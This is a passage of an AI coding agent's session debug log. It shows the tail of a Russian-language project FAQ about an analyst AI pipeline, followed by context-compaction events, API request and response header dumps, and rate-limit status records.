\u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:53:48.097Z] [INFO]     \"structuredPatch\": [],\n[2026-09-29T07:53:48.097Z] [INFO]     \"originalFile\": null,\n[2026-09-29T07:53:48.097Z] [INFO]     \"userModified\": false\n[2026-09-29T07:53:48.097Z] [INFO]   }\n[2026-09-29T07:53:48.097Z] [INFO] }\n[2026-09-29T07:53:48.144Z] [INFO] {\n[2026-09-29T07:53:48.144Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.144Z] [INFO]   \"uuid\": \"e2605406-e6be-4710-a69d-82f3897e5f5b\"\n[2026-09-29T07:53:48.144Z] [INFO] }\n[2026-09-29T07:53:48.180Z] [STDOUT] [log_5ad153] sending request {\n[2026-09-29T07:53:48.184Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:53:48.187Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:48.190Z] [STDOUT]   options: {\n[2026-09-29T07:53:48.193Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:53:48.195Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:53:48.197Z] [STDOUT]     body: {\n[2026-09-29T07:53:48.199Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:53:48.201Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:53:48.203Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:53:48.206Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:53:48.208Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:53:48.214Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:53:48.221Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:53:48.224Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:53:48.231Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:53:48.234Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:53:48.238Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:53:48.241Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:53:48.244Z] [STDOUT]       stream: true,\n[2026-09-29T07:53:48.247Z] [STDOUT]     },\n[2026-09-29T07:53:48.250Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:53:48.252Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:53:48.255Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:53:48.258Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:53:48.264Z] [STDOUT]       aborted: false,\n[2026-09-29T07:53:48.266Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:53:48.270Z] [STDOUT]       onabort: null,\n[2026-09-29T07:53:48.272Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:53:48.275Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:53:48.278Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:53:48.281Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:53:48.284Z] [STDOUT]     },\n[2026-09-29T07:53:48.289Z] [STDOUT]     stream: true,\n[2026-09-29T07:53:48.292Z] [STDOUT]   },\n[2026-09-29T07:53:48.296Z] [STDOUT]   headers: {\n[2026-09-29T07:53:48.299Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:53:48.303Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:53:48.308Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:53:48.310Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:53:48.314Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:53:48.318Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:53:48.323Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:53:48.326Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:53:48.330Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:53:48.334Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:53:48.340Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:53:48.347Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:53:48.351Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:53:48.355Z] [STDOUT]     \"x-client-request-id\": \"e93280b7-c6ec-42c2-937a-a2f10d893a39\",\n[2026-09-29T07:53:48.357Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:53:48.361Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:53:48.366Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:53:48.369Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:53:48.375Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:53:48.379Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:53:48.385Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:53:48.387Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:53:48.389Z] [STDOUT]   },\n[2026-09-29T07:53:48.393Z] [STDOUT] }\n[2026-09-29T07:53:55.688Z] [STDOUT] [log_5ad153, request-id: \"req_011CfXNPsD25q3DgrsiPyQUt\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 7508ms\n[2026-09-29T07:53:55.692Z] [STDOUT] [log_5ad153] response start {\n[2026-09-29T07:53:55.696Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:55.702Z] [STDOUT]   status: 200,\n[2026-09-29T07:53:55.705Z] [STDOUT]   headers: {\n[2026-09-29T07:53:55.709Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:53:55.713Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:53:55.716Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:53:55.720Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.4\",\n[2026-09-29T07:53:55.722Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:53:55.725Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.729Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:53:55.731Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:53:55.734Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:53:55.737Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:53:55.739Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:53:55.744Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:53:55.748Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:53:55.751Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.754Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:53:55.757Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:53:55.759Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:53:55.762Z] [STDOUT]     \"cf-ray\": \"a4296a8c4a3001ff-CDG\",\n[2026-09-29T07:53:55.764Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:53:55.767Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:53:55.772Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:53:55.775Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:53:55.780Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:53:55 GMT\",\n[2026-09-29T07:53:55.782Z] [STDOUT]     \"request-id\": \"req_011CfXNPsD25q3DgrsiPyQUt\",\n[2026-09-29T07:53:55.787Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:53:55.792Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:53:55.797Z] [STDOUT]     traceresponse: \"00-5185514375ffc7acc9c3d72df639330b-30541b9c42d99ea6-01\",\n[2026-09-29T07:53:55.802Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:53:55.805Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:53:55.815Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:53:55.831Z] [STDOUT]   },\n[2026-09-29T07:53:55.837Z] [STDOUT]   durationMs: 7508,\n[2026-09-29T07:53:55.840Z] [STDOUT] }\n[2026-09-29T07:53:55.846Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:53:55.848Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:53:55 GMT\",\n[2026-09-29T07:53:55.851Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:53:55.854Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:53:55.857Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:53:55.861Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:53:55.863Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:53:55.866Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:53:55.871Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:53:55.874Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:53:55.877Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:53:55.879Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:53:55.883Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:53:55.886Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:53:55.889Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.4\",\n[2026-09-29T07:53:55.895Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:53:55.898Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:53:55.902Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:53:55.908Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:53:55.912Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:53:55.918Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:53:55.925Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:53:55.928Z] [STDOUT]   \"request-id\": \"req_011CfXNPsD25q3DgrsiPyQUt\",\n[2026-09-29T07:53:55.933Z] [STDOUT]   \"traceresponse\": \"00-5185514375ffc7acc9c3d72df639330b-30541b9c42d99ea6-01\",\n[2026-09-29T07:53:55.937Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:53:55.941Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:53:55.945Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:53:55.948Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:53:55.951Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:53:55.953Z] [STDOUT]   \"cf-ray\": \"a4296a8c4a3001ff-CDG\",\n[2026-09-29T07:53:55.956Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:53:55.962Z] [STDOUT] [log_5ad153] response parsed {\n[2026-09-29T07:53:55.966Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:53:55.970Z] [STDOUT]   status: 200,\n[2026-09-29T07:53:55.973Z] [STDOUT]   body: X {\n[2026-09-29T07:53:55.977Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:53:55.981Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:53:55.986Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:53:55.988Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:53:55.990Z] [STDOUT]     },\n[2026-09-29T07:53:55.994Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:53:55.998Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:53:56.001Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:53:56.006Z] [STDOUT]   },\n[2026-09-29T07:53:56.010Z] [STDOUT]   durationMs: 7509,\n[2026-09-29T07:53:56.014Z] [STDOUT] }\n[2026-09-29T07:54:18.133Z] [INFO] {\n[2026-09-29T07:54:18.133Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"subtype\": \"status\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"status\": \"compacting\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:18.133Z] [INFO]   \"uuid\": \"1fc1a27f-bd69-4d4e-9677-a93e85d85daa\"\n[2026-09-29T07:54:18.133Z] [INFO] }\n[2026-09-29T07:54:36.903Z] [INFO] {\n[2026-09-29T07:54:36.903Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:54:36.903Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:54:36.903Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:54:36.903Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:54:36.903Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:54:36.903Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:54:36.903Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:54:36.903Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:54:36.903Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:54:36.903Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:54:36.903Z] [INFO]         \"utilization\": 0.4,\n[2026-09-29T07:54:36.903Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:54:36.903Z] [INFO]       },\n[2026-09-29T07:54:36.903Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:54:36.903Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:54:36.903Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:54:36.903Z] [INFO]       }\n[2026-09-29T07:54:36.903Z] [INFO]     }\n[2026-09-29T07:54:36.903Z] [INFO]   },\n[2026-09-29T07:54:36.903Z] [INFO]   \"uuid\": \"9eda8ef8-e2b8-4c71-9797-a48eb6417906\",\n[2026-09-29T07:54:36.903Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:54:36.903Z] [INFO] }\n[2026-09-29T07:54:37.110Z] [STDOUT] [log_833ac7] sending request {\n[2026-09-29T07:54:37.145Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.174Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.307Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.314Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.316Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.325Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.345Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.348Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.350Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.354Z] [STDOUT]     },\n[2026-09-29T07:54:37.356Z] [STDOUT]   },\n[2026-09-29T07:54:37.358Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.363Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.368Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.372Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.377Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.382Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.388Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.395Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.399Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.401Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.403Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.406Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.408Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.409Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:37.411Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:37.413Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:37.415Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:37.422Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:37.429Z] [STDOUT]   },\n[2026-09-29T07:54:37.436Z] [STDOUT] }\n[2026-09-29T07:54:37.447Z] [STDOUT] [log_a80988] sending request {\n[2026-09-29T07:54:37.452Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:37.460Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.463Z] [STDOUT]   options: {\n[2026-09-29T07:54:37.466Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:37.468Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:54:37.470Z] [STDOUT]     body: {\n[2026-09-29T07:54:37.473Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:37.475Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:37.478Z] [STDOUT]       tools: [],\n[2026-09-29T07:54:37.480Z] [STDOUT]     },\n[2026-09-29T07:54:37.483Z] [STDOUT]   },\n[2026-09-29T07:54:37.485Z] [STDOUT]   headers: {\n[2026-09-29T07:54:37.487Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:37.489Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:54:37.492Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:37.494Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:37.496Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:37.498Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:37.499Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:37.501Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:37.504Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:54:37.506Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:37.508Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:37.510Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:37.513Z] [STDOUT]     \"x-stainless-os\": 